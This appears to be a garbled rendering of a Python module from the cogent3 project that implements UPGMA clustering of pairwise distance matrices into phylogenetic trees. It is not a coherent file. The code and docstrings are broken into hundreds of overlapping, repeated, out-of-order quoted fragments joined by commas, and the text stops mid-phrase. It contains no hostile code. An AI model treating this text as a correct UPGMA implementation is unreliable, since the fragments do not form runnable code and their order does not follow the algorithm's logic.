new_node node2.parent = new_node #", "the array and the second index is replaced by an", "row and column for first index with new_vector matrix[first_index] =", "/ 2.0 for n in nodes: if n.children: n.length =", "new_node # replace the object at index2 with None node_order[index2]", "two indices are averaged. The resulting vector replaces the first", "to the matrix during the process and should be much", "node order. The second index in smallest_index is replaced with", "new_vector = average(rows, 0) # replace info in the row", "the index of the lowest number matrix1D = ravel(matrix) lowest_index", "in nodes: if n.children: n.length = d - n.children[0].TipLength else:", "the diagonal set the diagonal to large_number if index1 ==", "\"Copyright 2007-2020, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"]", "= inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM) index = 0", "Both return a PhyloNode object of the UPGMA cluster \"\"\"", "info in the row and column for the second index", "is a list of PhyloNode objects corresponding to the matrix.", "\"edge.\" + str(index) index += 1 return tree def find_smallest_index(matrix):", "= new_node # replace the object at index2 with None", "any value already in the matrix. WARNING: Changes matrix in-place.", "node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster from", "values for the two indices are averaged. The resulting vector", "# high numbers so that it is ignored matrix[second_index] =", "array as a tuple (e.g. (3,3)) shape = matrix.shape #", "= distance / 2.0 for n in nodes: if n.children:", "generate this type of input from a DictArray using inputs_from_dict_array", "from find_smallest_index. For both the rows and columns, the values", "numbers so that it is never chosen again with find_smallest_index.", "process and should be much larger than any value already", "= new_node # replace the object at index1 with the", "None. Also sets the branch length of the nodes to", "smallest element in a numpy array for UPGMA clustering elements", "UPGMA matrix is a numpy array. node_order is a list", "WARNING: Changes matrix in-place. WARNING: Expects matrix to already have", "on the diagonal should first be substituted with a very", "\"<NAME>\" __copyright__ = \"Copyright 2007-2020, The Cogent Project\" __credits__ =", "combined node node_order[index1] = new_node # replace the object at", "be assigned to the matrix during the process and should", "the rows and columns, the values for the two indices", "inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM) index = 0 for", "if index1 == index2: matrix[diag([True] * len(matrix))] = large_number smallest_index", "new_node.children.append(node2) node1.parent = new_node node2.parent = new_node # replace the", "first be substituted with a very large number so that", "in the matrix\"\"\" index1, index2 = smallest_index node1 = node_order[index1]", "large numbers so that it is never chosen again with", "= numerictypes(float) BIG_NUM = 1e305 def upgma(pairwise_distances): \"\"\"Uses the UPGMA", "\"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM = 1e305", "with large numbers so that it is never chosen again", "and return row_len = shape[0] return divmod(lowest_index, row_len) def condense_matrix(matrix,", "UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with UPGMA matrix is a numpy", "index2] nodes = [node1, node2] d = distance / 2.0", "index with # high numbers so that it is ignored", "This function is used to create a tree while condensing", "index2: matrix[diag([True] * len(matrix))] = large_number smallest_index = find_smallest_index(matrix) row_order", "indicated by smallest_index Smallest index is returned from find_smallest_index. For", "elements on the diagonal should first be substituted with a", "replaced with a node object that combines the two nodes", "numbers so that it is ignored matrix[second_index] = large_value matrix[:,", "= DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order,", "take(matrix, smallest_index, 0) new_vector = average(rows, 0) # replace info", "= len(node_order) tree = None for i in range(num_entries -", "= UPGMA_cluster(matrix_a, node_order, BIG_NUM) index = 0 for node in", "index in smallest_index is replaced with None. Also sets the", "object \"\"\" darr.array += numpy.eye(darr.shape[0]) * BIG_NUM nodes = list(map(PhyloNode,", "in-place. WARNING: Expects matrix to already have diagonals assigned to", "value already in the matrix. WARNING: Changes matrix in-place. WARNING:", "numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM = 1e305 def upgma(pairwise_distances): \"\"\"Uses", "nodes in the matrix\"\"\" index1, index2 = smallest_index node1 =", "[node1, node2] d = distance / 2.0 for n in", "with find_smallest_index. \"\"\" first_index, second_index = smallest_index # get the", "between the nodes in the matrix\"\"\" index1, index2 = smallest_index", "if the values in the array.\"\"\" # get the shape", "length of the nodes to 1/2 of the distance between", "pair tuples mapped to distances as input. UPGMA_cluster takes an", "are averaged. The resulting vector replaces the first index in", "new vector that has their average rows = take(matrix, smallest_index,", "\"\"\"condenses two nodes in node_order based on smallest_index info This", "the # lengthproperty of each node distance = matrix[index1, index2]", "the indices in node order. The second index in smallest_index", "n.children: n.length = d - n.children[0].TipLength else: n.length = d", "\"<EMAIL>\" __status__ = \"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float = numerictypes(float)", "to a distance returns a PhyloNode object of the UPGMA", "# usr/bin/env python \"\"\"Functions to cluster using UPGMA upgma takes", "elif not node.name: node.name = \"edge.\" + str(index) index +=", "each node distance = matrix[index1, index2] nodes = [node1, node2]", "smallest_index # if smallest_index is on the diagonal set the", "the distance to the # lengthproperty of each node distance", "first index is replaced with a node object that combines", "find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index, node_order) matrix = condense_matrix(matrix, smallest_index,", "= argmin(matrix1D) # convert the lowest_index derived from matrix1D to", "= None for i in range(num_entries - 1): smallest_index =", "= \"root\" elif not node.name: node.name = \"edge.\" + str(index)", "based on smallest_index info This function is used to create", "node1.parent = new_node node2.parent = new_node # replace the object", "# replace info in the row and column for first", "a numpy array. node_order is a list of PhyloNode objects", "the array as input. Can also generate this type of", "not node.parent: node.name = \"root\" elif not node.name: node.name =", "smallest_index, node_order): \"\"\"condenses two nodes in node_order based on smallest_index", "node_order = inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM) index =", "an array with large numbers so that it is never", "index1, index2 = smallest_index # if smallest_index is on the", "# replace the info in the row and column for", "of pair tuples mapped to distances as input. UPGMA_cluster takes", "smallest_index = find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index, node_order) matrix =", "def upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm to cluster sequences pairwise_distances:", "+= numpy.eye(darr.shape[0]) * BIG_NUM nodes = list(map(PhyloNode, darr.keys())) return darr.array,", "distance between the nodes in the matrix\"\"\" index1, index2 =", "in node_order based on smallest_index info This function is used", "number so that they are always larger than the rest", "second_index = smallest_index # get the rows and make a", "matrix\"\"\" index1, index2 = smallest_index node1 = node_order[index1] node2 =", "tree.traverse(): if not node.parent: node.name = \"root\" elif not node.name:", "of PhyloNode objects corresponding to the array as input. Can", "the lowest number matrix1D = ravel(matrix) lowest_index = argmin(matrix1D) #", "matrix[second_index] = large_value matrix[:, second_index] = large_value return matrix def", "list of PhyloNode objects corresponding to the array as input.", "condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the rows and columns indicated by", "= smallest_index node1 = node_order[index1] node2 = node_order[index2] # get", "return divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the rows", "replaces the first index in the array and the second", "array and the second index is replaced by an array", "node_order[index1] node2 = node_order[index2] # get the distance between the", "in the matrix. WARNING: Changes matrix in-place. WARNING: Expects matrix", "- 1): smallest_index = find_smallest_index(matrix) index1, index2 = smallest_index #", "pair tuples mapped to a distance returns a PhyloNode object", "the two indices are averaged. The resulting vector replaces the", "in the row and column for the second index with", "that has their average rows = take(matrix, smallest_index, 0) new_vector", "ignored matrix[second_index] = large_value matrix[:, second_index] = large_value return matrix", "in range(num_entries - 1): smallest_index = find_smallest_index(matrix) index1, index2 =", "in node order. The second index in smallest_index is replaced", "node.parent: node.name = \"root\" elif not node.name: node.name = \"edge.\"", "the combined node node_order[index1] = new_node # replace the object", "indices in node order. The second index in smallest_index is", "d n.TipLength = d # combine the two nodes into", "matrix during the process and should be much larger than", "shape[0] return divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the", "and the second index is replaced by an array with", "\"\"\"makes inputs for UPGMA_cluster from a DictArray object \"\"\" darr.array", "a list of PhyloNode objects corresponding to the array as", "and a list of PhyloNode objects corresponding to the array", "= \"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ =", "node2 = node_order[index2] # get the distance between the nodes", "sets the branch length of the nodes to 1/2 of", "\"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__ =", "into a new PhyloNode object new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2)", "row_len = shape[0] return divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index, large_value):", "= [node1, node2] d = distance / 2.0 for n", "and should be much larger than any value already in", "dictionary of pair tuples mapped to distances as input. UPGMA_cluster", "(3,3)) shape = matrix.shape # turn into a 1 by", "if not node.parent: node.name = \"root\" elif not node.name: node.name", "a numpy array for UPGMA clustering elements on the diagonal", "matrix def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two nodes in node_order", "index2 with None node_order[index2] = None return node_order def UPGMA_cluster(matrix,", "objects corresponding to the matrix. large_number will be assigned to", "= \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" numerictypes =", "smallest_index is replaced with None. Also sets the branch length", "branch length of the nodes to 1/2 of the distance", "= d - n.children[0].TipLength else: n.length = d n.TipLength =", "assigned to the matrix during the process and should be", "node.name = \"edge.\" + str(index) index += 1 return tree", "of the distance between the nodes in the matrix\"\"\" index1,", "large_number smallest_index = find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index, node_order) matrix", "a DictArray object \"\"\" darr.array += numpy.eye(darr.shape[0]) * BIG_NUM nodes", "distance to the # lengthproperty of each node distance =", "info in the row and column for first index with", "replaced with None. Also sets the branch length of the", "already have diagonals assigned to large_number before this function is", "cluster \"\"\" darr = DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr) tree", "node2] d = distance / 2.0 for n in nodes:", "i in range(num_entries - 1): smallest_index = find_smallest_index(matrix) index1, index2", "for UPGMA_cluster from a DictArray object \"\"\" darr.array += numpy.eye(darr.shape[0])", "__version__ = \"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__", "dictionary with pair tuples mapped to a distance returns a", "new_node.children.append(node1) new_node.children.append(node2) node1.parent = new_node node2.parent = new_node # replace", "a list of PhyloNode objects corresponding to the matrix. large_number", "lengthproperty of each node distance = matrix[index1, index2] nodes =", "the branch length of the nodes to 1/2 of the", "used to create a tree while condensing a matrix with", "corresponding to the array as input. Can also generate this", "= d n.TipLength = d # combine the two nodes", "it is never chosen again with find_smallest_index. \"\"\" first_index, second_index", "called. \"\"\" num_entries = len(node_order) tree = None for i", "average(rows, 0) # replace info in the row and column", "= new_vector matrix[:, first_index] = new_vector # replace the info", "first index in the array and the second index is", "second index with # high numbers so that it is", "in smallest_index is replaced with None. Also sets the branch", "+= 1 return tree def find_smallest_index(matrix): \"\"\"returns the index of", "first_index] = new_vector # replace the info in the row", "array as input. Can also generate this type of input", "indices are averaged. The resulting vector replaces the first index", "average, diag, ma, ravel, sum, take from cogent3.core.tree import PhyloNode", "will be assigned to the matrix during the process and", "the matrix. large_number will be assigned to the matrix during", "derived from matrix1D to one for the original # square", "by x array and get the index of the lowest", "object at index1 with the combined node node_order[index1] = new_node", "nodes to 1/2 of the distance between the nodes in", "a node object that combines the two nodes corresponding to", "replace info in the row and column for first index", "be substituted with a very large number so that they", "list of PhyloNode objects corresponding to the matrix. large_number will", "that it is never chosen again with find_smallest_index. \"\"\" first_index,", "the object at index1 with the combined node node_order[index1] =", "combine the two nodes into a new PhyloNode object new_node", "str(index) index += 1 return tree def find_smallest_index(matrix): \"\"\"returns the", "with the combined node node_order[index1] = new_node # replace the", "Can also generate this type of input from a DictArray", "first_index, second_index = smallest_index # get the rows and make", "node_order, BIG_NUM) index = 0 for node in tree.traverse(): if", "with find_smallest_index. The first index is replaced with a node", "matrix in-place. WARNING: Expects matrix to already have diagonals assigned", "__author__ = \"<NAME>\" __copyright__ = \"Copyright 2007-2020, The Cogent Project\"", "import numpy from numpy import argmin, array, average, diag, ma,", "distances as input. UPGMA_cluster takes an array and a list", "1e305 def upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm to cluster sequences", "two nodes in node_order based on smallest_index info This function", "Changes matrix in-place. WARNING: Expects matrix to already have diagonals", "smallest_index # get the rows and make a new vector", "the info in the row and column for the second", "order. The second index in smallest_index is replaced with None.", "The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ =", "# get the rows and make a new vector that", "vector replaces the first index in the array and the", "large_value): \"\"\"converges the rows and columns indicated by smallest_index Smallest", "(e.g. (3,3)) shape = matrix.shape # turn into a 1", "find_smallest_index. For both the rows and columns, the values for", "diagonal should first be substituted with a very large number", "import argmin, array, average, diag, ma, ravel, sum, take from", "matrix[:, second_index] = large_value return matrix def condense_node_order(matrix, smallest_index, node_order):", "n.children[0].TipLength else: n.length = d n.TipLength = d # combine", "\"\"\"Functions to cluster using UPGMA upgma takes an dictionary of", "smallest_index, 0) new_vector = average(rows, 0) # replace info in", "Float = numerictypes(float) BIG_NUM = 1e305 def upgma(pairwise_distances): \"\"\"Uses the", "\"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\"", "def find_smallest_index(matrix): \"\"\"returns the index of the smallest element in", "return node_order def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with UPGMA matrix", "if smallest_index is on the diagonal set the diagonal to", "mapped to distances as input. UPGMA_cluster takes an array and", "a new vector that has their average rows = take(matrix,", "index2 = smallest_index # if smallest_index is on the diagonal", "original # square matrix and return row_len = shape[0] return", "average rows = take(matrix, smallest_index, 0) new_vector = average(rows, 0)", "row and column for the second index with # high", "for the original # square matrix and return row_len =", "the second index with # high numbers so that it", "the rest if the values in the array.\"\"\" # get", "return tree def find_smallest_index(matrix): \"\"\"returns the index of the smallest", "return a PhyloNode object of the UPGMA cluster \"\"\" import", "tree def find_smallest_index(matrix): \"\"\"returns the index of the smallest element", "\"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\"", "node_order is a list of PhyloNode objects corresponding to the", "= take(matrix, smallest_index, 0) new_vector = average(rows, 0) # replace", "is used to create a tree while condensing a matrix", "ravel, sum, take from cogent3.core.tree import PhyloNode from cogent3.util.dict_array import", "Also sets the branch length of the nodes to 1/2", "this function is called. \"\"\" num_entries = len(node_order) tree =", "darr = DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr) tree = UPGMA_cluster(matrix_a,", "the UPGMA cluster \"\"\" import numpy from numpy import argmin,", "= d # combine the two nodes into a new", "object that combines the two nodes corresponding to the indices", "averaged. The resulting vector replaces the first index in the", "\"\"\" first_index, second_index = smallest_index # get the rows and", "diagonals assigned to large_number before this function is called. \"\"\"", "None for i in range(num_entries - 1): smallest_index = find_smallest_index(matrix)", "n in nodes: if n.children: n.length = d - n.children[0].TipLength", "numerictypes(float) BIG_NUM = 1e305 def upgma(pairwise_distances): \"\"\"Uses the UPGMA algorithm", "a dictionary with pair tuples mapped to a distance returns", "divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the rows and", "index is replaced by an array with large numbers so", "the condense_matrix function. The smallest_index is retrieved with find_smallest_index. The", "new_node node2.parent = new_node # replace the object at index1", "inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster from a DictArray object \"\"\"", "get the index of the lowest number matrix1D = ravel(matrix)", "tuples mapped to distances as input. UPGMA_cluster takes an array", "shape of the array as a tuple (e.g. (3,3)) shape", "resulting vector replaces the first index in the array and", "= find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index, node_order) matrix = condense_matrix(matrix,", "None return node_order def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with UPGMA", "smallest_index = find_smallest_index(matrix) index1, index2 = smallest_index # if smallest_index", "tuples mapped to a distance returns a PhyloNode object of", "the index of the smallest element in a numpy array", "matrix1D to one for the original # square matrix and", "of the nodes to 1/2 of the distance between the", "inputs for UPGMA_cluster from a DictArray object \"\"\" darr.array +=", "the row and column for first index with new_vector matrix[first_index]", "0 for node in tree.traverse(): if not node.parent: node.name =", "column for the second index with # high numbers so", "find_smallest_index. The first index is replaced with a node object", "at index1 with the combined node node_order[index1] = new_node #", "+ str(index) index += 1 return tree def find_smallest_index(matrix): \"\"\"returns", "by smallest_index Smallest index is returned from find_smallest_index. For both", "= shape[0] return divmod(lowest_index, row_len) def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges", "shape = matrix.shape # turn into a 1 by x", "matrix[first_index] = new_vector matrix[:, first_index] = new_vector # replace the", "have diagonals assigned to large_number before this function is called.", "array, average, diag, ma, ravel, sum, take from cogent3.core.tree import", "larger than the rest if the values in the array.\"\"\"", "corresponding to the indices in node order. The second index", "find_smallest_index(matrix) index1, index2 = smallest_index # if smallest_index is on", "node.name: node.name = \"edge.\" + str(index) index += 1 return", "# lengthproperty of each node distance = matrix[index1, index2] nodes", "object new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent = new_node node2.parent", "to already have diagonals assigned to large_number before this function", "again with find_smallest_index. \"\"\" first_index, second_index = smallest_index # get", "as input. UPGMA_cluster takes an array and a list of", "to large_number if index1 == index2: matrix[diag([True] * len(matrix))] =", "takes an array and a list of PhyloNode objects corresponding", "smallest_index is on the diagonal set the diagonal to large_number", "smallest_index, large_number) tree = node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr): \"\"\"makes", "that it is ignored matrix[second_index] = large_value matrix[:, second_index] =", "smallest_index info This function is used to create a tree", "UPGMA cluster \"\"\" darr = DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr)", "row_order = condense_node_order(matrix, smallest_index, node_order) matrix = condense_matrix(matrix, smallest_index, large_number)", "node_order) matrix = condense_matrix(matrix, smallest_index, large_number) tree = node_order[smallest_index[0]] return", "sequences pairwise_distances: a dictionary with pair tuples mapped to a", "with pair tuples mapped to a distance returns a PhyloNode", "find_smallest_index. \"\"\" first_index, second_index = smallest_index # get the rows", "# square matrix and return row_len = shape[0] return divmod(lowest_index,", "numpy array for UPGMA clustering elements on the diagonal should", "= \"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__ =", "one for the original # square matrix and return row_len", "__license__ = \"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__ = \"<NAME>\" __email__", "second index in smallest_index is replaced with None. Also sets", "len(matrix))] = large_number smallest_index = find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index,", "that they are always larger than the rest if the", "argmin, array, average, diag, ma, ravel, sum, take from cogent3.core.tree", "node_order[index1] = new_node # replace the object at index2 with", "1): smallest_index = find_smallest_index(matrix) index1, index2 = smallest_index # if", "nodes: if n.children: n.length = d - n.children[0].TipLength else: n.length", "tuple (e.g. (3,3)) shape = matrix.shape # turn into a", "they are always larger than the rest if the values", "during the process and should be much larger than any", "on the diagonal set the diagonal to large_number if index1", "rows and columns indicated by smallest_index Smallest index is returned", "= smallest_index # if smallest_index is on the diagonal set", "\"\"\" darr.array += numpy.eye(darr.shape[0]) * BIG_NUM nodes = list(map(PhyloNode, darr.keys()))", "the diagonal to large_number if index1 == index2: matrix[diag([True] *", "a PhyloNode object of the UPGMA cluster \"\"\" import numpy", "# get the distance between the nodes and assign 1/2", "tree = node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr): \"\"\"makes inputs for", "node_order[index2] = None return node_order def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster", "index of the lowest number matrix1D = ravel(matrix) lowest_index =", "ravel(matrix) lowest_index = argmin(matrix1D) # convert the lowest_index derived from", "distance between the nodes and assign 1/2 the distance to", "distance returns a PhyloNode object of the UPGMA cluster \"\"\"", "= \"Production\" numerictypes = numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM =", "large_number): \"\"\"cluster with UPGMA matrix is a numpy array. node_order", "DictArray using inputs_from_dict_array function. Both return a PhyloNode object of", "\"root\" elif not node.name: node.name = \"edge.\" + str(index) index", "from numpy import argmin, array, average, diag, ma, ravel, sum,", "[\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\" __version__ = \"2020.7.2a\" __maintainer__", "the second index is replaced by an array with large", "= new_node node2.parent = new_node # replace the object at", "condense_node_order(matrix, smallest_index, node_order) matrix = condense_matrix(matrix, smallest_index, large_number) tree =", "before this function is called. \"\"\" num_entries = len(node_order) tree", "the matrix during the process and should be much larger", "return tree def inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster from a", "nodes and assign 1/2 the distance to the # lengthproperty", "cluster sequences pairwise_distances: a dictionary with pair tuples mapped to", "if n.children: n.length = d - n.children[0].TipLength else: n.length =", "= numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM = 1e305 def upgma(pairwise_distances):", "The resulting vector replaces the first index in the array", "large_number before this function is called. \"\"\" num_entries = len(node_order)", "smallest_index node1 = node_order[index1] node2 = node_order[index2] # get the", "else: n.length = d n.TipLength = d # combine the", "element in a numpy array for UPGMA clustering elements on", "sum, take from cogent3.core.tree import PhyloNode from cogent3.util.dict_array import DictArray", "__copyright__ = \"Copyright 2007-2020, The Cogent Project\" __credits__ = [\"<NAME>\",", "the values in the array.\"\"\" # get the shape of", "for i in range(num_entries - 1): smallest_index = find_smallest_index(matrix) index1,", "object at index2 with None node_order[index2] = None return node_order", "= smallest_index # get the rows and make a new", "the two nodes corresponding to the indices in node order.", "UPGMA_cluster(matrix_a, node_order, BIG_NUM) index = 0 for node in tree.traverse():", "the UPGMA cluster \"\"\" darr = DictArray(pairwise_distances) matrix_a, node_order =", "vector that has their average rows = take(matrix, smallest_index, 0)", "to 1/2 of the distance between the nodes in the", "Project\" __credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\" __version__", "so that it is never chosen again with find_smallest_index. \"\"\"", "column for first index with new_vector matrix[first_index] = new_vector matrix[:,", "is replaced by an array with large numbers so that", "tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM) index = 0 for node", "square matrix and return row_len = shape[0] return divmod(lowest_index, row_len)", "new_node # replace the object at index1 with the combined", "for the two indices are averaged. The resulting vector replaces", "PhyloNode objects corresponding to the matrix. large_number will be assigned", "their average rows = take(matrix, smallest_index, 0) new_vector = average(rows,", "large_number if index1 == index2: matrix[diag([True] * len(matrix))] = large_number", "smallest_index is retrieved with find_smallest_index. The first index is replaced", "node in tree.traverse(): if not node.parent: node.name = \"root\" elif", "numerictypes = numpy.core.numerictypes.sctype2char Float = numerictypes(float) BIG_NUM = 1e305 def", "index in the array and the second index is replaced", "def UPGMA_cluster(matrix, node_order, large_number): \"\"\"cluster with UPGMA matrix is a", "def inputs_from_dict_array(darr): \"\"\"makes inputs for UPGMA_cluster from a DictArray object", "numpy array. node_order is a list of PhyloNode objects corresponding", "in tree.traverse(): if not node.parent: node.name = \"root\" elif not", "index with new_vector matrix[first_index] = new_vector matrix[:, first_index] = new_vector", "\"\"\" darr = DictArray(pairwise_distances) matrix_a, node_order = inputs_from_dict_array(darr) tree =", "the smallest element in a numpy array for UPGMA clustering", "def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the rows and columns indicated", "numpy.eye(darr.shape[0]) * BIG_NUM nodes = list(map(PhyloNode, darr.keys())) return darr.array, nodes", "= \"edge.\" + str(index) index += 1 return tree def", "and column for first index with new_vector matrix[first_index] = new_vector", "row_len) def condense_matrix(matrix, smallest_index, large_value): \"\"\"converges the rows and columns", "is called. \"\"\" num_entries = len(node_order) tree = None for", "PhyloNode objects corresponding to the array as input. Can also", "input from a DictArray using inputs_from_dict_array function. Both return a", "0) # replace info in the row and column for", "and make a new vector that has their average rows", "rows and columns, the values for the two indices are", "pairwise_distances: a dictionary with pair tuples mapped to a distance", "the nodes in the matrix\"\"\" index1, index2 = smallest_index node1", "this type of input from a DictArray using inputs_from_dict_array function.", "= large_value return matrix def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two", "condense_matrix(matrix, smallest_index, large_number) tree = node_order[smallest_index[0]] return tree def inputs_from_dict_array(darr):", "already in the matrix. WARNING: Changes matrix in-place. WARNING: Expects", "new PhyloNode object new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent =", "n.length = d n.TipLength = d # combine the two", "diag, ma, ravel, sum, take from cogent3.core.tree import PhyloNode from", "tree while condensing a matrix with the condense_matrix function. The", "object of the UPGMA cluster \"\"\" darr = DictArray(pairwise_distances) matrix_a,", "replace the object at index2 with None node_order[index2] = None", "= \"Copyright 2007-2020, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\",", "replaced by an array with large numbers so that it", "node.name = \"root\" elif not node.name: node.name = \"edge.\" +", "to large_number before this function is called. \"\"\" num_entries =", "lowest number matrix1D = ravel(matrix) lowest_index = argmin(matrix1D) # convert", "with # high numbers so that it is ignored matrix[second_index]", "node1 = node_order[index1] node2 = node_order[index2] # get the distance", "Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\"", "algorithm to cluster sequences pairwise_distances: a dictionary with pair tuples", "so that they are always larger than the rest if", "__credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__ = \"BSD-3\" __version__ =", "def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two nodes in node_order based", "= ravel(matrix) lowest_index = argmin(matrix1D) # convert the lowest_index derived", "a tree while condensing a matrix with the condense_matrix function.", "the row and column for the second index with #", "range(num_entries - 1): smallest_index = find_smallest_index(matrix) index1, index2 = smallest_index", "numpy import argmin, array, average, diag, ma, ravel, sum, take", "# replace the object at index1 with the combined node", "set the diagonal to large_number if index1 == index2: matrix[diag([True]", "the diagonal should first be substituted with a very large", "= \"<NAME>\" __copyright__ = \"Copyright 2007-2020, The Cogent Project\" __credits__", "to distances as input. UPGMA_cluster takes an array and a", "between the nodes and assign 1/2 the distance to the", "has their average rows = take(matrix, smallest_index, 0) new_vector =", "2.0 for n in nodes: if n.children: n.length = d", "of the lowest number matrix1D = ravel(matrix) lowest_index = argmin(matrix1D)", "matrix1D = ravel(matrix) lowest_index = argmin(matrix1D) # convert the lowest_index", "replace the object at index1 with the combined node node_order[index1]", "values in the array.\"\"\" # get the shape of the", "nodes in node_order based on smallest_index info This function is", "matrix is a numpy array. node_order is a list of", "the distance between the nodes in the matrix\"\"\" index1, index2", "large_value matrix[:, second_index] = large_value return matrix def condense_node_order(matrix, smallest_index,", "into a 1 by x array and get the index", "and column for the second index with # high numbers", "matrix with the condense_matrix function. The smallest_index is retrieved with", "the first index in the array and the second index", "function. The smallest_index is retrieved with find_smallest_index. The first index", "function is used to create a tree while condensing a", "# combine the two nodes into a new PhyloNode object", "== index2: matrix[diag([True] * len(matrix))] = large_number smallest_index = find_smallest_index(matrix)", "d # combine the two nodes into a new PhyloNode", "to cluster using UPGMA upgma takes an dictionary of pair", "return matrix def condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two nodes in", "should first be substituted with a very large number so", "new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent = new_node node2.parent =", "matrix[:, first_index] = new_vector # replace the info in the", "than the rest if the values in the array.\"\"\" #", "\"\"\"Uses the UPGMA algorithm to cluster sequences pairwise_distances: a dictionary", "substituted with a very large number so that they are", "array.\"\"\" # get the shape of the array as a", "and get the index of the lowest number matrix1D =", "make a new vector that has their average rows =", "node_order based on smallest_index info This function is used to", "1/2 the distance to the # lengthproperty of each node", "to the matrix. large_number will be assigned to the matrix", "a PhyloNode object of the UPGMA cluster \"\"\" darr =", "2007-2020, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\", \"<NAME>\"] __license__", "get the shape of the array as a tuple (e.g.", "using UPGMA upgma takes an dictionary of pair tuples mapped", "smallest_index, node_order) matrix = condense_matrix(matrix, smallest_index, large_number) tree = node_order[smallest_index[0]]", "and columns, the values for the two indices are averaged.", "inputs_from_dict_array function. Both return a PhyloNode object of the UPGMA", "The second index in smallest_index is replaced with None. Also", "matrix and return row_len = shape[0] return divmod(lowest_index, row_len) def", "d = distance / 2.0 for n in nodes: if", "upgma takes an dictionary of pair tuples mapped to distances", "cluster using UPGMA upgma takes an dictionary of pair tuples", "condense_node_order(matrix, smallest_index, node_order): \"\"\"condenses two nodes in node_order based on", "smallest_index, large_value): \"\"\"converges the rows and columns indicated by smallest_index", "type of input from a DictArray using inputs_from_dict_array function. Both", "UPGMA upgma takes an dictionary of pair tuples mapped to", "= large_number smallest_index = find_smallest_index(matrix) row_order = condense_node_order(matrix, smallest_index, node_order)", "condense_matrix function. The smallest_index is retrieved with find_smallest_index. The first", "mapped to a distance returns a PhyloNode object of the", "index = 0 for node in tree.traverse(): if not node.parent:", "always larger than the rest if the values in the", "darr.array += numpy.eye(darr.shape[0]) * BIG_NUM nodes = list(map(PhyloNode, darr.keys())) return", "PhyloNode object new_node = PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent = new_node", "as a tuple (e.g. (3,3)) shape = matrix.shape # turn", "chosen again with find_smallest_index. \"\"\" first_index, second_index = smallest_index #", "so that it is ignored matrix[second_index] = large_value matrix[:, second_index]", "the nodes and assign 1/2 the distance to the #", "= matrix.shape # turn into a 1 by x array", "matrix to already have diagonals assigned to large_number before this", "large_number will be assigned to the matrix during the process", "node object that combines the two nodes corresponding to the", "turn into a 1 by x array and get the", "index1 == index2: matrix[diag([True] * len(matrix))] = large_number smallest_index =", "the lowest_index derived from matrix1D to one for the original", "d - n.children[0].TipLength else: n.length = d n.TipLength = d", "also generate this type of input from a DictArray using", "# get the shape of the array as a tuple", "rows and make a new vector that has their average", "of the array as 